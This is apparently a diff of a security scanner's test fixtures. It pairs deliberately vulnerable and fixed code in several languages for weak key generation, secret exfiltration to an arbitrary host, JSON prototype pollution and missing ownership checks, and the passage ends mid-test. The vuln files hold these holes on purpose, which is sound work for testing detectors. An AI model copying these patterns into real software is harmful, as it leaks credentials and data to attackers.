||||
12
tests/dynamic_fixtures/crypto/go/vuln.go
Normal file
12
tests/dynamic_fixtures/crypto/go/vuln.go
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
// Phase 11 (Track J.9) — Go CRYPTO vuln fixture.
|
||||
//
|
||||
// Uses math/rand.Intn(0x10000) (a non-CSPRNG) to derive a 16-bit
|
||||
// key. The harness's instrumented key path writes a
|
||||
// `ProbeKind::WeakKey` probe and the `WeakKeyEntropy` oracle fires.
|
||||
package vuln
|
||||
|
||||
import "math/rand"
|
||||
|
||||
func Run(_ string) int {
|
||||
return rand.Intn(0x10000)
|
||||
}
|
||||
14
tests/dynamic_fixtures/crypto/java/benign.java
Normal file
14
tests/dynamic_fixtures/crypto/java/benign.java
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — Java CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses java.security.SecureRandom (a CSPRNG) for key derivation, so
|
||||
// the produced 256-bit key trivially exceeds the 16-bit weak budget.
|
||||
import java.security.SecureRandom;
|
||||
|
||||
public class Benign {
|
||||
public static byte[] run(String _unused) {
|
||||
SecureRandom r = new SecureRandom();
|
||||
byte[] key = new byte[32];
|
||||
r.nextBytes(key);
|
||||
return key;
|
||||
}
|
||||
}
|
||||
16
tests/dynamic_fixtures/crypto/java/vuln.java
Normal file
16
tests/dynamic_fixtures/crypto/java/vuln.java
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 11 (Track J.9) — Java CRYPTO vuln fixture.
|
||||
//
|
||||
// Uses java.util.Random (a non-CSPRNG) to derive key bytes, producing
|
||||
// a key bounded inside a 16-bit search space. The harness's
|
||||
// instrumented key-generation path writes a `ProbeKind::WeakKey`
|
||||
// probe; the `WeakKeyEntropy` oracle fires for `key_int < 2^16`.
|
||||
import java.util.Random;
|
||||
|
||||
public class Vuln {
|
||||
public static byte[] run(String seedTag) {
|
||||
Random r = new Random(seedTag.hashCode());
|
||||
byte[] key = new byte[2];
|
||||
r.nextBytes(key);
|
||||
return key;
|
||||
}
|
||||
}
|
||||
7
tests/dynamic_fixtures/crypto/php/benign.php
Normal file
7
tests/dynamic_fixtures/crypto/php/benign.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses `random_bytes(32)` (a CSPRNG) for key derivation.
|
||||
function run($_value) {
|
||||
return random_bytes(32);
|
||||
}
|
||||
7
tests/dynamic_fixtures/crypto/php/vuln.php
Normal file
7
tests/dynamic_fixtures/crypto/php/vuln.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP CRYPTO vuln fixture.
|
||||
//
|
||||
// Uses `mt_rand(0, 0xFFFF)` (a non-CSPRNG) to derive a 16-bit key.
|
||||
function run($_value) {
|
||||
return mt_rand(0, 0xFFFF);
|
||||
}
|
||||
9
tests/dynamic_fixtures/crypto/python/benign.py
Normal file
9
tests/dynamic_fixtures/crypto/python/benign.py
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# Phase 11 (Track J.9) — Python CRYPTO benign control fixture.
|
||||
#
|
||||
# Uses `secrets.token_bytes(32)` (a CSPRNG) so the produced key
|
||||
# trivially exceeds the weak budget.
|
||||
import secrets
|
||||
|
||||
|
||||
def run(_value):
|
||||
return secrets.token_bytes(32)
|
||||
10
tests/dynamic_fixtures/crypto/python/vuln.py
Normal file
10
tests/dynamic_fixtures/crypto/python/vuln.py
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
# Phase 11 (Track J.9) — Python CRYPTO vuln fixture.
|
||||
#
|
||||
# Uses `random.randint(0, 0xFFFF)` (a non-CSPRNG) to derive a 16-bit
|
||||
# key; the harness's instrumented key path writes a `ProbeKind::WeakKey`
|
||||
# probe and the `WeakKeyEntropy` oracle fires.
|
||||
import random
|
||||
|
||||
|
||||
def run(_value):
|
||||
return random.randint(0, 0xFFFF)
|
||||
11
tests/dynamic_fixtures/crypto/rust/benign.rs
Normal file
11
tests/dynamic_fixtures/crypto/rust/benign.rs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 11 (Track J.9) — Rust CRYPTO benign control fixture.
|
||||
//
|
||||
// Uses `rand::rngs::OsRng` (a CSPRNG) for key derivation.
|
||||
use rand::rngs::OsRng;
|
||||
use rand::RngCore;
|
||||
|
||||
pub fn run(_value: &str) -> [u8; 32] {
|
||||
let mut key = [0u8; 32];
|
||||
OsRng.fill_bytes(&mut key);
|
||||
key
|
||||
}
|
||||
9
tests/dynamic_fixtures/crypto/rust/vuln.rs
Normal file
9
tests/dynamic_fixtures/crypto/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
// Phase 11 (Track J.9) — Rust CRYPTO vuln fixture.
|
||||
//
|
||||
// Uses `rand::thread_rng` truncated to 16 bits (a non-CSPRNG
|
||||
// configuration) to derive a key bounded inside the weak budget.
|
||||
use rand::Rng;
|
||||
|
||||
pub fn run(_value: &str) -> u16 {
|
||||
rand::thread_rng().gen_range(0..=0xFFFF) as u16
|
||||
}
|
||||
19
tests/dynamic_fixtures/data_exfil/go/benign.go
Normal file
19
tests/dynamic_fixtures/data_exfil/go/benign.go
Normal file
|
|
@ -0,0 +1,19 @@
|
|||
// Phase 11 (Track J.9) — Go DATA_EXFIL benign control fixture.
|
||||
package benign
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
var allowlist = map[string]struct{}{"127.0.0.1": {}, "localhost": {}}
|
||||
|
||||
func Run(host string) {
|
||||
if _, ok := allowlist[host]; !ok {
|
||||
return
|
||||
}
|
||||
secret := "alice-creds"
|
||||
q := url.Values{"token": {secret}}
|
||||
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
|
||||
_, _ = http.Get(u.String())
|
||||
}
|
||||
14
tests/dynamic_fixtures/data_exfil/go/vuln.go
Normal file
14
tests/dynamic_fixtures/data_exfil/go/vuln.go
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — Go DATA_EXFIL vuln fixture.
|
||||
package vuln
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
func Run(host string) {
|
||||
secret := "alice-creds"
|
||||
q := url.Values{"token": {secret}}
|
||||
u := url.URL{Scheme: "http", Host: host, Path: "/exfil", RawQuery: q.Encode()}
|
||||
_, _ = http.Get(u.String())
|
||||
}
|
||||
16
tests/dynamic_fixtures/data_exfil/java/benign.java
Normal file
16
tests/dynamic_fixtures/data_exfil/java/benign.java
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 11 (Track J.9) — Java DATA_EXFIL benign control fixture.
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
import java.util.Set;
|
||||
|
||||
public class Benign {
|
||||
private static final Set<String> ALLOWLIST = Set.of("127.0.0.1", "localhost");
|
||||
|
||||
public static void run(String host) throws Exception {
|
||||
if (!ALLOWLIST.contains(host)) return;
|
||||
URL url = new URL("http://" + host + "/exfil?token=alice-creds");
|
||||
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
|
||||
conn.connect();
|
||||
conn.disconnect();
|
||||
}
|
||||
}
|
||||
13
tests/dynamic_fixtures/data_exfil/java/vuln.java
Normal file
13
tests/dynamic_fixtures/data_exfil/java/vuln.java
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture.
|
||||
import java.net.HttpURLConnection;
|
||||
import java.net.URL;
|
||||
|
||||
public class Vuln {
|
||||
public static void run(String host) throws Exception {
|
||||
String secret = "alice-creds";
|
||||
URL url = new URL("http://" + host + "/exfil?token=" + secret);
|
||||
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
|
||||
conn.connect();
|
||||
conn.disconnect();
|
||||
}
|
||||
}
|
||||
17
tests/dynamic_fixtures/data_exfil/js/benign.js
Normal file
17
tests/dynamic_fixtures/data_exfil/js/benign.js
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL benign control fixture.
|
||||
const http = require('http');
|
||||
|
||||
const ALLOWLIST = new Set(['127.0.0.1', 'localhost']);
|
||||
|
||||
function run(host) {
|
||||
if (!ALLOWLIST.has(host)) return;
|
||||
const secret = 'alice-creds';
|
||||
const req = http.request({
|
||||
host,
|
||||
path: '/exfil?token=' + encodeURIComponent(secret),
|
||||
method: 'POST',
|
||||
});
|
||||
req.end();
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
14
tests/dynamic_fixtures/data_exfil/js/vuln.js
Normal file
14
tests/dynamic_fixtures/data_exfil/js/vuln.js
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — JavaScript DATA_EXFIL vuln fixture.
|
||||
const http = require('http');
|
||||
|
||||
function run(host) {
|
||||
const secret = 'alice-creds';
|
||||
const req = http.request({
|
||||
host,
|
||||
path: '/exfil?token=' + encodeURIComponent(secret),
|
||||
method: 'POST',
|
||||
});
|
||||
req.end();
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
8
tests/dynamic_fixtures/data_exfil/php/benign.php
Normal file
8
tests/dynamic_fixtures/data_exfil/php/benign.php
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP DATA_EXFIL benign control fixture.
|
||||
function run($host) {
|
||||
if (!in_array($host, ["127.0.0.1", "localhost"], true)) return;
|
||||
$secret = "alice-creds";
|
||||
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
|
||||
@file_get_contents($url);
|
||||
}
|
||||
7
tests/dynamic_fixtures/data_exfil/php/vuln.php
Normal file
7
tests/dynamic_fixtures/data_exfil/php/vuln.php
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP DATA_EXFIL vuln fixture.
|
||||
function run($host) {
|
||||
$secret = "alice-creds";
|
||||
$url = "http://" . $host . "/exfil?token=" . urlencode($secret);
|
||||
@file_get_contents($url);
|
||||
}
|
||||
15
tests/dynamic_fixtures/data_exfil/python/benign.py
Normal file
15
tests/dynamic_fixtures/data_exfil/python/benign.py
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
# Phase 11 (Track J.9) — Python DATA_EXFIL benign control fixture.
|
||||
#
|
||||
# Sends to a loopback receiver, so the captured host is on-allowlist
|
||||
# and the predicate stays clear.
|
||||
import urllib.request
|
||||
|
||||
ALLOWLIST = {"127.0.0.1", "localhost"}
|
||||
|
||||
|
||||
def run(host):
|
||||
if host not in ALLOWLIST:
|
||||
return
|
||||
secret = "alice-creds"
|
||||
url = f"http://{host}/exfil?token={secret}"
|
||||
urllib.request.urlopen(url, timeout=1)
|
||||
12
tests/dynamic_fixtures/data_exfil/python/vuln.py
Normal file
12
tests/dynamic_fixtures/data_exfil/python/vuln.py
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# Phase 11 (Track J.9) — Python DATA_EXFIL vuln fixture.
|
||||
#
|
||||
# Sends a captured secret to an attacker-controlled host without
|
||||
# host validation; the harness's mock HTTP client records the
|
||||
# outbound `host` and the `OutboundHostNotIn` oracle fires.
|
||||
import urllib.request
|
||||
|
||||
|
||||
def run(host):
|
||||
secret = "alice-creds"
|
||||
url = f"http://{host}/exfil?token={secret}"
|
||||
urllib.request.urlopen(url, timeout=1)
|
||||
12
tests/dynamic_fixtures/data_exfil/ruby/benign.rb
Normal file
12
tests/dynamic_fixtures/data_exfil/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# Phase 11 (Track J.9) — Ruby DATA_EXFIL benign control fixture.
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
ALLOWLIST = %w[127.0.0.1 localhost].freeze
|
||||
|
||||
def run(host)
|
||||
return unless ALLOWLIST.include?(host)
|
||||
secret = "alice-creds"
|
||||
uri = URI("http://#{host}/exfil?token=#{secret}")
|
||||
Net::HTTP.get(uri)
|
||||
end
|
||||
9
tests/dynamic_fixtures/data_exfil/ruby/vuln.rb
Normal file
9
tests/dynamic_fixtures/data_exfil/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# Phase 11 (Track J.9) — Ruby DATA_EXFIL vuln fixture.
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
def run(host)
|
||||
secret = "alice-creds"
|
||||
uri = URI("http://#{host}/exfil?token=#{secret}")
|
||||
Net::HTTP.get(uri)
|
||||
end
|
||||
11
tests/dynamic_fixtures/data_exfil/rust/benign.rs
Normal file
11
tests/dynamic_fixtures/data_exfil/rust/benign.rs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 11 (Track J.9) — Rust DATA_EXFIL benign control fixture.
|
||||
const ALLOWLIST: &[&str] = &["127.0.0.1", "localhost"];
|
||||
|
||||
pub fn run(host: &str) {
|
||||
if !ALLOWLIST.contains(&host) {
|
||||
return;
|
||||
}
|
||||
let secret = "alice-creds";
|
||||
let url = format!("http://{host}/exfil?token={secret}");
|
||||
let _ = reqwest::blocking::get(&url);
|
||||
}
|
||||
6
tests/dynamic_fixtures/data_exfil/rust/vuln.rs
Normal file
6
tests/dynamic_fixtures/data_exfil/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,6 @@
|
|||
// Phase 11 (Track J.9) — Rust DATA_EXFIL vuln fixture.
|
||||
pub fn run(host: &str) {
|
||||
let secret = "alice-creds";
|
||||
let url = format!("http://{host}/exfil?token={secret}");
|
||||
let _ = reqwest::blocking::get(&url);
|
||||
}
|
||||
16
tests/dynamic_fixtures/json_parse/javascript/benign.js
Normal file
16
tests/dynamic_fixtures/json_parse/javascript/benign.js
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 11 (Track J.9) — JavaScript JSON_PARSE benign control fixture.
|
||||
//
|
||||
// JSON.parse then deep-merge into a `Object.create(null)` target, the
|
||||
// canonical mitigation; the prototype-less target cannot reach
|
||||
// `Object.prototype` so the canary never fires.
|
||||
function run(value) {
|
||||
const parsed = JSON.parse(value);
|
||||
const target = Object.create(null);
|
||||
for (const k of Object.keys(parsed)) {
|
||||
if (k === '__proto__' || k === 'constructor') continue;
|
||||
target[k] = parsed[k];
|
||||
}
|
||||
return target;
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
24
tests/dynamic_fixtures/json_parse/javascript/vuln.js
Normal file
24
tests/dynamic_fixtures/json_parse/javascript/vuln.js
Normal file
|
|
@ -0,0 +1,24 @@
|
|||
// Phase 11 (Track J.9) — JavaScript JSON_PARSE vuln fixture.
|
||||
//
|
||||
// JSON.parse the attacker bytes then naive deep-merge into a vanilla
|
||||
// target object. A `__proto__` key walks into `Object.prototype` and
|
||||
// trips the canary trap.
|
||||
function run(value) {
|
||||
const parsed = JSON.parse(value);
|
||||
const target = {};
|
||||
deepMerge(target, parsed);
|
||||
return target;
|
||||
}
|
||||
|
||||
function deepMerge(t, s) {
|
||||
for (const k of Object.keys(s)) {
|
||||
if (s[k] !== null && typeof s[k] === 'object') {
|
||||
if (typeof t[k] !== 'object' || t[k] === null) t[k] = {};
|
||||
deepMerge(t[k], s[k]);
|
||||
} else {
|
||||
t[k] = s[k];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
10
tests/dynamic_fixtures/json_parse/python/benign.py
Normal file
10
tests/dynamic_fixtures/json_parse/python/benign.py
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
# Phase 11 (Track J.9) — Python JSON_PARSE benign control fixture.
|
||||
#
|
||||
# json.loads then merge into a fresh `dict` rather than mutating the
|
||||
# shared sentinel, so the canary trap on `_SHARED` cannot fire.
|
||||
import json
|
||||
|
||||
|
||||
def run(value):
|
||||
parsed = json.loads(value)
|
||||
return dict(parsed)
|
||||
20
tests/dynamic_fixtures/json_parse/python/vuln.py
Normal file
20
tests/dynamic_fixtures/json_parse/python/vuln.py
Normal file
|
|
@ -0,0 +1,20 @@
|
|||
# Phase 11 (Track J.9) — Python JSON_PARSE vuln fixture.
|
||||
#
|
||||
# json.loads the attacker bytes then mutate a shared sentinel via
|
||||
# attribute pollution; the harness's instrumented setattr trap
|
||||
# observes the `__nyx_canary` write.
|
||||
import json
|
||||
|
||||
|
||||
class _Sentinel:
|
||||
pass
|
||||
|
||||
|
||||
_SHARED = _Sentinel()
|
||||
|
||||
|
||||
def run(value):
|
||||
parsed = json.loads(value)
|
||||
for k, v in parsed.items():
|
||||
setattr(_SHARED, k, v)
|
||||
return _SHARED
|
||||
9
tests/dynamic_fixtures/json_parse/ruby/benign.rb
Normal file
9
tests/dynamic_fixtures/json_parse/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
# Phase 11 (Track J.9) — Ruby JSON_PARSE benign control fixture.
|
||||
#
|
||||
# JSON.parse then merge into a freshly allocated `Hash`, so the
|
||||
# canary trap on `SHARED` cannot fire.
|
||||
require 'json'
|
||||
|
||||
def run(value)
|
||||
JSON.parse(value).dup
|
||||
end
|
||||
15
tests/dynamic_fixtures/json_parse/ruby/vuln.rb
Normal file
15
tests/dynamic_fixtures/json_parse/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,15 @@
|
|||
# Phase 11 (Track J.9) — Ruby JSON_PARSE vuln fixture.
|
||||
#
|
||||
# JSON.parse the attacker bytes then recursively merge into a shared
|
||||
# `OpenStruct`; the harness's instrumented `method_missing=` trap
|
||||
# observes the `__nyx_canary` write.
|
||||
require 'json'
|
||||
require 'ostruct'
|
||||
|
||||
SHARED = OpenStruct.new
|
||||
|
||||
def run(value)
|
||||
parsed = JSON.parse(value)
|
||||
parsed.each { |k, v| SHARED[k] = v }
|
||||
SHARED
|
||||
end
|
||||
13
tests/dynamic_fixtures/unauthorized_id/go/benign.go
Normal file
13
tests/dynamic_fixtures/unauthorized_id/go/benign.go
Normal file
|
|
@ -0,0 +1,13 @@
|
|||
// Phase 11 (Track J.9) — Go UNAUTHORIZED_ID benign control fixture.
|
||||
package benign
|
||||
|
||||
const callerID = "alice"
|
||||
|
||||
var store = map[string]string{"alice": "alice@x", "bob": "bob@x"}
|
||||
|
||||
func Run(ownerID string) string {
|
||||
if ownerID != callerID {
|
||||
return ""
|
||||
}
|
||||
return store[ownerID]
|
||||
}
|
||||
10
tests/dynamic_fixtures/unauthorized_id/go/vuln.go
Normal file
10
tests/dynamic_fixtures/unauthorized_id/go/vuln.go
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
// Phase 11 (Track J.9) — Go UNAUTHORIZED_ID vuln fixture.
|
||||
package vuln
|
||||
|
||||
const callerID = "alice"
|
||||
|
||||
var store = map[string]string{"alice": "alice@x", "bob": "bob@x"}
|
||||
|
||||
func Run(ownerID string) string {
|
||||
return store[ownerID]
|
||||
}
|
||||
17
tests/dynamic_fixtures/unauthorized_id/java/benign.java
Normal file
17
tests/dynamic_fixtures/unauthorized_id/java/benign.java
Normal file
|
|
@ -0,0 +1,17 @@
|
|||
// Phase 11 (Track J.9) — Java UNAUTHORIZED_ID benign control fixture.
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class Benign {
|
||||
private static final String CALLER = "alice";
|
||||
private static final Map<String, String> STORE = new HashMap<>();
|
||||
static {
|
||||
STORE.put("alice", "alice@x");
|
||||
STORE.put("bob", "bob@x");
|
||||
}
|
||||
|
||||
public static String run(String ownerId) {
|
||||
if (!CALLER.equals(ownerId)) return null;
|
||||
return STORE.get(ownerId);
|
||||
}
|
||||
}
|
||||
16
tests/dynamic_fixtures/unauthorized_id/java/vuln.java
Normal file
16
tests/dynamic_fixtures/unauthorized_id/java/vuln.java
Normal file
|
|
@ -0,0 +1,16 @@
|
|||
// Phase 11 (Track J.9) — Java UNAUTHORIZED_ID vuln fixture.
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class Vuln {
|
||||
private static final String CALLER = "alice";
|
||||
private static final Map<String, String> STORE = new HashMap<>();
|
||||
static {
|
||||
STORE.put("alice", "alice@x");
|
||||
STORE.put("bob", "bob@x");
|
||||
}
|
||||
|
||||
public static String run(String ownerId) {
|
||||
return STORE.get(ownerId);
|
||||
}
|
||||
}
|
||||
10
tests/dynamic_fixtures/unauthorized_id/js/benign.js
Normal file
10
tests/dynamic_fixtures/unauthorized_id/js/benign.js
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
// Phase 11 (Track J.9) — JavaScript UNAUTHORIZED_ID benign control fixture.
|
||||
const CALLER_ID = "alice";
|
||||
const STORE = { alice: "alice@x", bob: "bob@x" };
|
||||
|
||||
function run(ownerId) {
|
||||
if (ownerId !== CALLER_ID) return null;
|
||||
return STORE[ownerId];
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
9
tests/dynamic_fixtures/unauthorized_id/js/vuln.js
Normal file
9
tests/dynamic_fixtures/unauthorized_id/js/vuln.js
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
// Phase 11 (Track J.9) — JavaScript UNAUTHORIZED_ID vuln fixture.
|
||||
const CALLER_ID = "alice";
|
||||
const STORE = { alice: "alice@x", bob: "bob@x" };
|
||||
|
||||
function run(ownerId) {
|
||||
return STORE[ownerId];
|
||||
}
|
||||
|
||||
module.exports = { run };
|
||||
10
tests/dynamic_fixtures/unauthorized_id/php/benign.php
Normal file
10
tests/dynamic_fixtures/unauthorized_id/php/benign.php
Normal file
|
|
@ -0,0 +1,10 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP UNAUTHORIZED_ID benign control fixture.
|
||||
const CALLER_ID = "alice";
|
||||
$STORE = ["alice" => "alice@x", "bob" => "bob@x"];
|
||||
|
||||
function run($ownerId) {
|
||||
global $STORE;
|
||||
if ($ownerId !== CALLER_ID) return null;
|
||||
return $STORE[$ownerId] ?? null;
|
||||
}
|
||||
9
tests/dynamic_fixtures/unauthorized_id/php/vuln.php
Normal file
9
tests/dynamic_fixtures/unauthorized_id/php/vuln.php
Normal file
|
|
@ -0,0 +1,9 @@
|
|||
<?php
|
||||
// Phase 11 (Track J.9) — PHP UNAUTHORIZED_ID vuln fixture.
|
||||
const CALLER_ID = "alice";
|
||||
$STORE = ["alice" => "alice@x", "bob" => "bob@x"];
|
||||
|
||||
function run($ownerId) {
|
||||
global $STORE;
|
||||
return $STORE[$ownerId] ?? null;
|
||||
}
|
||||
12
tests/dynamic_fixtures/unauthorized_id/python/benign.py
Normal file
12
tests/dynamic_fixtures/unauthorized_id/python/benign.py
Normal file
|
|
@ -0,0 +1,12 @@
|
|||
# Phase 11 (Track J.9) — Python UNAUTHORIZED_ID benign control fixture.
|
||||
#
|
||||
# Compares `owner_id` against the authenticated caller and returns
|
||||
# `None` for any boundary-crossing request.
|
||||
_STORE = {"alice": {"email": "alice@x"}, "bob": {"email": "bob@x"}}
|
||||
_CALLER_ID = "alice"
|
||||
|
||||
|
||||
def run(owner_id):
|
||||
if owner_id != _CALLER_ID:
|
||||
return None
|
||||
return _STORE.get(owner_id)
|
||||
11
tests/dynamic_fixtures/unauthorized_id/python/vuln.py
Normal file
11
tests/dynamic_fixtures/unauthorized_id/python/vuln.py
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
# Phase 11 (Track J.9) — Python UNAUTHORIZED_ID vuln fixture.
|
||||
#
|
||||
# Looks up a record by `owner_id` without checking it against the
|
||||
# authenticated caller; an attacker who supplies another user's id
|
||||
# reads that user's record.
|
||||
_STORE = {"alice": {"email": "alice@x"}, "bob": {"email": "bob@x"}}
|
||||
_CALLER_ID = "alice"
|
||||
|
||||
|
||||
def run(owner_id):
|
||||
return _STORE.get(owner_id)
|
||||
8
tests/dynamic_fixtures/unauthorized_id/ruby/benign.rb
Normal file
8
tests/dynamic_fixtures/unauthorized_id/ruby/benign.rb
Normal file
|
|
@ -0,0 +1,8 @@
|
|||
# Phase 11 (Track J.9) — Ruby UNAUTHORIZED_ID benign control fixture.
|
||||
STORE = { "alice" => { email: "alice@x" }, "bob" => { email: "bob@x" } }.freeze
|
||||
CALLER_ID = "alice"
|
||||
|
||||
def run(owner_id)
|
||||
return nil unless owner_id == CALLER_ID
|
||||
STORE[owner_id]
|
||||
end
|
||||
7
tests/dynamic_fixtures/unauthorized_id/ruby/vuln.rb
Normal file
7
tests/dynamic_fixtures/unauthorized_id/ruby/vuln.rb
Normal file
|
|
@ -0,0 +1,7 @@
|
|||
# Phase 11 (Track J.9) — Ruby UNAUTHORIZED_ID vuln fixture.
|
||||
STORE = { "alice" => { email: "alice@x" }, "bob" => { email: "bob@x" } }.freeze
|
||||
CALLER_ID = "alice"
|
||||
|
||||
def run(owner_id)
|
||||
STORE[owner_id]
|
||||
end
|
||||
14
tests/dynamic_fixtures/unauthorized_id/rust/benign.rs
Normal file
14
tests/dynamic_fixtures/unauthorized_id/rust/benign.rs
Normal file
|
|
@ -0,0 +1,14 @@
|
|||
// Phase 11 (Track J.9) — Rust UNAUTHORIZED_ID benign control fixture.
|
||||
use std::collections::HashMap;
|
||||
|
||||
const CALLER_ID: &str = "alice";
|
||||
|
||||
pub fn run(owner_id: &str) -> Option<String> {
|
||||
if owner_id != CALLER_ID {
|
||||
return None;
|
||||
}
|
||||
let mut store = HashMap::new();
|
||||
store.insert("alice".to_string(), "alice@x".to_string());
|
||||
store.insert("bob".to_string(), "bob@x".to_string());
|
||||
store.get(owner_id).cloned()
|
||||
}
|
||||
11
tests/dynamic_fixtures/unauthorized_id/rust/vuln.rs
Normal file
11
tests/dynamic_fixtures/unauthorized_id/rust/vuln.rs
Normal file
|
|
@ -0,0 +1,11 @@
|
|||
// Phase 11 (Track J.9) — Rust UNAUTHORIZED_ID vuln fixture.
|
||||
use std::collections::HashMap;
|
||||
|
||||
const CALLER_ID: &str = "alice";
|
||||
|
||||
pub fn run(owner_id: &str) -> Option<String> {
|
||||
let mut store = HashMap::new();
|
||||
store.insert("alice".to_string(), "alice@x".to_string());
|
||||
store.insert("bob".to_string(), "bob@x".to_string());
|
||||
store.get(owner_id).cloned()
|
||||
}
|
||||
|
|
@ -131,18 +131,27 @@ mod verify_e2e {
|
|||
assert!(result.attempts.is_empty());
|
||||
}
|
||||
|
||||
/// A finding with an unsupported cap (CRYPTO has no payload corpus) reaches
|
||||
/// `run_spec`, which returns `RunError::NoPayloadsForCap`, producing
|
||||
/// `VerifyStatus::Unsupported` with `reason = NoPayloadsForCap`.
|
||||
/// This is distinct from `BackendUnavailable` and tests the two code paths.
|
||||
/// A finding whose cap has no sound oracle (Phase 11 / Track J.9
|
||||
/// routes `ENV_VAR` / `SHELL_ESCAPE` / `URL_ENCODE` through this
|
||||
/// path) reaches `run_spec`, which returns
|
||||
/// `RunError::SoundOracleUnavailable`, producing
|
||||
/// `VerifyStatus::Unsupported` with
|
||||
/// `reason = SoundOracleUnavailable { cap, lang, hint }`. Distinct
|
||||
/// from `BackendUnavailable` and `NoPayloadsForCap`.
|
||||
#[test]
|
||||
fn verify_finding_with_unsupported_cap_returns_no_payloads() {
|
||||
let diag = taint_diag_with_cap(Cap::CRYPTO);
|
||||
fn verify_finding_with_unsupported_cap_returns_sound_oracle_unavailable() {
|
||||
let diag = taint_diag_with_cap(Cap::ENV_VAR);
|
||||
let opts = VerifyOptions::default();
|
||||
let result = verify_finding(&diag, &opts);
|
||||
|
||||
assert_eq!(result.status, VerifyStatus::Unsupported);
|
||||
assert_eq!(result.reason, Some(UnsupportedReason::NoPayloadsForCap));
|
||||
match result.reason {
|
||||
Some(UnsupportedReason::SoundOracleUnavailable { cap, hint, .. }) => {
|
||||
assert_eq!(cap, Cap::ENV_VAR);
|
||||
assert!(!hint.is_empty());
|
||||
}
|
||||
other => panic!("expected SoundOracleUnavailable, got {other:?}"),
|
||||
}
|
||||
}
|
||||
|
||||
/// A low-confidence finding is rejected before spec derivation with
|
||||
|
|
|
|||
106
tests/json_parse_corpus.rs
Normal file
106
tests/json_parse_corpus.rs
Normal file
|
|
@ -0,0 +1,106 @@
|
|||
//! Phase 11 (Track J.9) — `Cap::JSON_PARSE` corpus acceptance.
|
||||
//!
|
||||
//! Asserts the corpus + oracle layer for the pollution oracle that
|
||||
//! reuses the Phase 10 prototype canary across the three languages
|
||||
//! whose JSON parsers have a published pollution surface: JavaScript,
|
||||
//! Python, Ruby. Per-lang harness dispatchers are deferred — see
|
||||
//! `.pitboss/play/deferred.md`.
|
||||
//!
|
||||
//! `cargo nextest run --features dynamic --test json_parse_corpus`.
|
||||
|
||||
#![cfg(feature = "dynamic")]
|
||||
|
||||
use nyx_scanner::dynamic::corpus::{payloads_for_lang, resolve_benign_control_lang};
|
||||
use nyx_scanner::dynamic::oracle::{oracle_fired, Oracle, ProbePredicate};
|
||||
use nyx_scanner::dynamic::probe::{ProbeKind, ProbeWitness, SinkProbe};
|
||||
use nyx_scanner::dynamic::sandbox::SandboxOutcome;
|
||||
use nyx_scanner::labels::Cap;
|
||||
use nyx_scanner::symbol::Lang;
|
||||
use std::time::Duration;
|
||||
|
||||
const LANGS: &[Lang] = &[Lang::JavaScript, Lang::Python, Lang::Ruby];
|
||||
|
||||
fn outcome() -> SandboxOutcome {
|
||||
SandboxOutcome {
|
||||
exit_code: Some(0),
|
||||
stdout: vec![],
|
||||
stderr: vec![],
|
||||
timed_out: false,
|
||||
oob_callback_seen: false,
|
||||
sink_hit: false,
|
||||
duration: Duration::from_millis(1),
|
||||
hardening_outcome: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn canary_probe(property: &str) -> SinkProbe {
|
||||
SinkProbe {
|
||||
